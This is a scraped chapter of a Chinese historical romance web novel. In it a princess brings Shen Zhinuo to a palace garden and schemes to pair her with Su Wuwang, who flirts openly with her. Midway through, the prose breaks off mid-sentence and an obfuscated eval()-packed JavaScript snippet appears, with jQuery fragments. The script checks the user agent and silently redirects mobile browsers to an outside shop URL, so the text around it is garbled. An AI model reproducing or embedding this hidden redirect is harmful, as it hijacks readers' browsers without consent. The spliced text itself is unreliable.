果然下一秒,就听七公主的声音响起:
“只是,本公主一人去见,孤男寡女的,传出去到底是不合礼数。”
“沈姑娘,你既然身子骨无碍,那便陪着本公主一同走一趟吧。”
沈知糯下意识便要推拒:
“这……公主殿下,臣女尚在病中,形容枯槁……”
“行了,少在本公主面前装。”
七公主压根不给她拒绝的机会,直接转过头对身边的贴身宫女秋雁吩咐道:
“去,去后花园备下棋局。”
“就说今儿个春光大好,本公主要与沈姑娘在后花园切磋棋艺。”
“顺道听闻苏二公子棋力超群,想向苏二公子讨教一二,去请他过来。”
“是,奴婢这就去办。”
秋雁领命,福了福身,快步退了出去。
七公主回过头,挑衅般地看了沈知糯一眼:
“沈姑娘,你总不至于连这点面子都不给本公主吧?”
话都说到这个这份上了,沈知糯深知,君命难违。
若是再行推拒,便是抗旨不遵。
她微微垂眸,温顺地敛去眼底的精光。
行啊,既然这位公主上赶着要折腾,那她便舍命陪君子。
正好这几日养病憋得发慌。
她倒要看看这葫芦里,究竟卖的是什么药。
“臣女遵命。”
沈知糯虚弱地福了福身,在连翘的搀扶下,慢腾腾地跟着七公主往后花园走去。
——————
睿王爷整天游手好闲,除了养花遛鸟啥也不干,一门心思全花在了这后花园上。
也亏得他这么折腾,后花园被拾掇得极美。
亭台楼阁藏在花柳深处,湖光山色,处处都是景致。
此时的凉亭内,早已设好了精致的棋盘与茶点。
七公主当先坐下,她今日穿了一身海棠红织金缂丝长裙,在艳阳下熠熠生辉。
宛如一朵盛放的牡丹,张扬而美艳。
而沈知糯身着娇嫩的鹅黄留仙裙,她微微低着头,青丝仅用一只简单的白玉簪挽起。
出门前她还特意拍了粉,脸上带着几分病态般的苍白。
整个人显得越发柔弱无骨,犹如一朵盈盈带露的娇花。
一大红,一鹅黄。
一高傲张扬,一楚楚可怜。
两人并肩坐在凉亭里,竟是说不出的赏心悦目,生生将这满园的春色都给压了下去。
“踏、踏……”
不轻不重的脚步声在竹林小道间响起。
沈知糯微微侧眸,顺着声音望去。
只见回廊转角处,缓步走来一个年轻男子。
那人约莫弱冠之年,穿着一身天青色宽袖长袍。
身姿修长,肩宽窄腰。
面容生得与苏予白有六七分相似,可气质却截然不同。
比起苏予白的温润端方,这位二公子苏无妄,眉宇间却透着一股从边关风沙里带回来的凛冽。
他眼窝微微凹陷,一双狭长的桃花眼尾上挑。
瞳仁极黑,深不见底。
漫不经心地扫过来时,仿佛带着刚从尸山血海里爬出来的冷戾,让人不敢直视。
他走起路来不疾不徐,那身极素净的青衣穿在身上,非但没有半分儒雅,反而透出一种惊心动魄的清冷感。
瞧见亭中二人,苏无妄不慌不忙地走上前来。
身姿虽恭,眼底却是一片漫不经心的冷。
“微臣苏无妄,见过七公主殿下。”
随后,他的视线在沈知糯那张柔美娇弱的脸上微微一顿,眼底闪过一丝玩味。
薄唇轻启,慢悠悠地跟了一句:“见过嫂嫂。”
这二字一出,凉亭里的空气仿佛瞬间凝固。
“啪!”
七公主猛地一拍石桌,柳眉倒竖,厉声呵斥道:
“苏无妄!你胡乱叫些什么呢?!”
“她跟世子的婚事还没成呢,你现在叫哪门子的嫂嫂?”
没得平白叫人误会!给本公主改口叫沈姑娘!”
苏无妄被她这么一吼,倒也不恼,反而低低地笑了一声。
他顺从地直起身,双手拢在袖中,目光眨也不眨地盯着沈知糯。
那目光,深邃、戏谑,带着一股子让人心尖发颤的滚烫。
“公主殿下教训的是,倒是无妄失礼了。”
他缓缓上前一步,天青色的衣角若有似无地擦过沈知糯的鹅黄裙摆。
随即,苏无妄微微俯身,凑得极近,视线强行与沈知糯平齐。
温热的气息几乎要喷在她
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17606975|205752||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
耳畔,声音故意拖得极慢:
“您说呢……沈姑娘?”
看着苏无妄那近乎逾矩的俯身姿势,坐在对面的七公主下意识地皱了皱眉。
她的眼底毫不掩饰地掠过一抹嫌恶。
撇了撇嘴,心中暗骂:
果然是边关滚出来的野小子,粗鄙无礼,半点世家规矩都不懂!
当着她的面,竟也敢如此放浪形骸。
可嫌恶不过一瞬,当七公主的视线落在苏无妄紧盯着沈知糯的黑眸上时。
脑海中仿佛有一道惊雷劈过,瞬间清明了起来!
等一下!
这眼神……
七公主可是实打实当过两年“舔狗”的人。
当初她追着谢疏白跑的时候,虽然没得到一个正眼。
但她太懂得一个人瞧着心上人时,眼里那股子藏都藏不住的热烈了。
苏无妄这眼神,哪里是平日里小叔子看嫂嫂的清白模样?
这厮,分明是对沈知糯存了龌龊心思!
七公主险些在心里笑出了声。
真是瞌睡了就有人送枕头,天助她也!
既然苏无妄这野小子本就觊觎沈知糯……
那她顺水推舟、推波助澜一把,岂不是更加问心无愧?
反正苏无妄与苏予白是亲兄弟,又同为嫡出。
虽是一武一文,但这位刚在边关立功,如今的官职可比当世子的苏予白还要有用些。
一个流落在外多年的乡下丫头,配一个边关回来的野小子,简直是天造地设的一对!
等生米煮成熟饭,这两人指不定还得跪下来,敲锣打鼓地感谢她这个大媒呢!
心中一盘算,七公主心里那点子因为要使手段而升起的心虚瞬间烟消云散。
她挺直了腰杆,整个人都神气了不少。
甚至觉得眼前的苏无妄此刻看起来都顺眼了许多。
她微微侧头,朝着身旁的贴身宫女秋雁使了个极为隐晦的眼色
秋雁是个机灵的,跟在七公主身边多年,当下便心领神会地低下了头。
她轻手轻脚地上前,将桌面上原本有些杂乱的黑白棋子一一收回玉盒中,摆放得整整齐齐。
七公主顺势伸了个懒腰,慢吞吞地站起身来,揉了揉手腕,娇声道——